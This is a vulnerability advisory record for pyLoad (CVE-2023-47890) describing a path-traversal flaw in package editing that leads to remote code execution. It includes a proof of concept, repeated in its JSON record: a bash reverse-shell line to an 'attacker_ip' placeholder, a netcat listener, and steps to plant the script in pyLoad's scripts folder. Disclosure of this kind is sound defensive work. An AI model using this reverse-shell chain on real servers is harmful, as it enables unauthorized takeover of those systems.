PYSEC-2026-1819
Vulnerability from pysec - Published: 2026-07-07 11:45 - Updated: 2026-07-07 17:25Summary
A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.
Details
When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.
src/pyload/core/api/init.py::add_package::L432
folder = (
folder.replace("http://", "")
.replace("https://", "")
.replace(":", "")
.replace("/", "_")
.replace("\\", "_")
)
So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"
However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.
src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195
id = int(flask.request.form["pack_id"])
data = {
"name": flask.request.form["pack_name"],
"_folder": flask.request.form["pack_folder"],
"password": flask.request.form["pack_pws"],
}
api.set_package_data(id, data)
Steps to reproduce
- Login to a pyLoad instance
- Go to "Queue" and create a new package with any name and a valid link
- Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
- Restart the package
- Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"
Remote code execution proof-of-concept
It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.
On attacker machine
- Start a web server hosting a malicious script
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80
- Start netcat listener for reverse shells
bash
nc -vklp 9999
On pyLoad
-
Change pyLoad file permission settings
Change permissions of downloads: On Permission mode for downloaded files: 0744
-
Create a package with link pointing to the attacker
http:///evil.sh
-
Edit package and change folder to /config/scripts/package_deleted/
-
Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad
-
Delete any package package to trigger the script
Impact
An authenticated user can gain control over the underlying pyLoad server.
| Name | purl | pyload-ng | pkg:pypi/pyload-ng |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng",
"purl": "pkg:pypi/pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.0b3.dev75"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.5.0a5.dev528",
"0.5.0a5.dev532",
"0.5.0a5.dev535",
"0.5.0a5.dev536",
"0.5.0a5.dev537",
"0.5.0a5.dev539",
"0.5.0a5.dev540",
"0.5.0a5.dev545",
"0.5.0a5.dev562",
"0.5.0a5.dev564",
"0.5.0a5.dev565",
"0.5.0a6.dev570",
"0.5.0a6.dev578",
"0.5.0a6.dev587",
"0.5.0a7.dev596",
"0.5.0a8.dev602",
"0.5.0a9.dev615",
"0.5.0a9.dev629",
"0.5.0a9.dev632",
"0.5.0a9.dev641",
"0.5.0a9.dev643",
"0.5.0a9.dev655",
"0.5.0a9.dev806",
"0.5.0b1.dev1",
"0.5.0b1.dev2",
"0.5.0b1.dev3",
"0.5.0b1.dev4",
"0.5.0b1.dev5",
"0.5.0b2.dev10",
"0.5.0b2.dev11",
"0.5.0b2.dev12",
"0.5.0b2.dev9",
"0.5.0b3.dev13",
"0.5.0b3.dev14",
"0.5.0b3.dev17",
"0.5.0b3.dev18",
"0.5.0b3.dev19",
"0.5.0b3.dev20",
"0.5.0b3.dev21",
"0.5.0b3.dev22",
"0.5.0b3.dev24",
"0.5.0b3.dev26",
"0.5.0b3.dev27",
"0.5.0b3.dev28",
"0.5.0b3.dev29",
"0.5.0b3.dev30",
"0.5.0b3.dev31",
"0.5.0b3.dev32",
"0.5.0b3.dev33",
"0.5.0b3.dev34",
"0.5.0b3.dev35",
"0.5.0b3.dev38",
"0.5.0b3.dev39",
"0.5.0b3.dev40",
"0.5.0b3.dev41",
"0.5.0b3.dev42",
"0.5.0b3.dev43",
"0.5.0b3.dev44",
"0.5.0b3.dev45",
"0.5.0b3.dev46",
"0.5.0b3.dev47",
"0.5.0b3.dev48",
"0.5.0b3.dev49",
"0.5.0b3.dev50",
"0.5.0b3.dev51",
"0.5.0b3.dev52",
"0.5.0b3.dev53",
"0.5.0b3.dev54",
"0.5.0b3.dev57",
"0.5.0b3.dev60",
"0.5.0b3.dev62",
"0.5.0b3.dev64",
"0.5.0b3.dev65",
"0.5.0b3.dev66",
"0.5.0b3.dev67",
"0.5.0b3.dev68",
"0.5.0b3.dev69",
"0.5.0b3.dev70",
"0.5.0b3.dev71",
"0.5.0b3.dev72",
"0.5.0b3.dev73",
"0.5.0b3.dev74"
]
}
],
"aliases": [
"CVE-2023-47890",
"GHSA-h73m-pcfw-25h2"
],
"details": "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can\u0027t traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n folder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n id = int(flask.request.form[\"pack_id\"])\n data = {\n \"name\": flask.request.form[\"pack_name\"],\n \"_folder\": flask.request.form[\"pack_folder\"],\n \"password\": flask.request.form[\"pack_pws\"],\n }\n\n api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e \u0027#!/bin/bash\\nbash -i \u003e\u0026 /dev/tcp/\u003cattacker_ip\u003e/9999 0\u003e\u00261\u0027 \u003e evil.sh\u00261\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n ```bash\n nc -vklp 9999\n ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n Change permissions of downloads: On\n Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n http://\u003cattacker_ip\u003e/evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server.",
"id": "PYSEC-2026-1819",
"modified": "2026-07-07T17:25:10.992018Z",
"published": "2026-07-07T11:45:27.551381Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47890"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "http://pyload.com"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/pyload-ng"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-h73m-pcfw-25h2"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Download to arbitrary folder can lead to RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.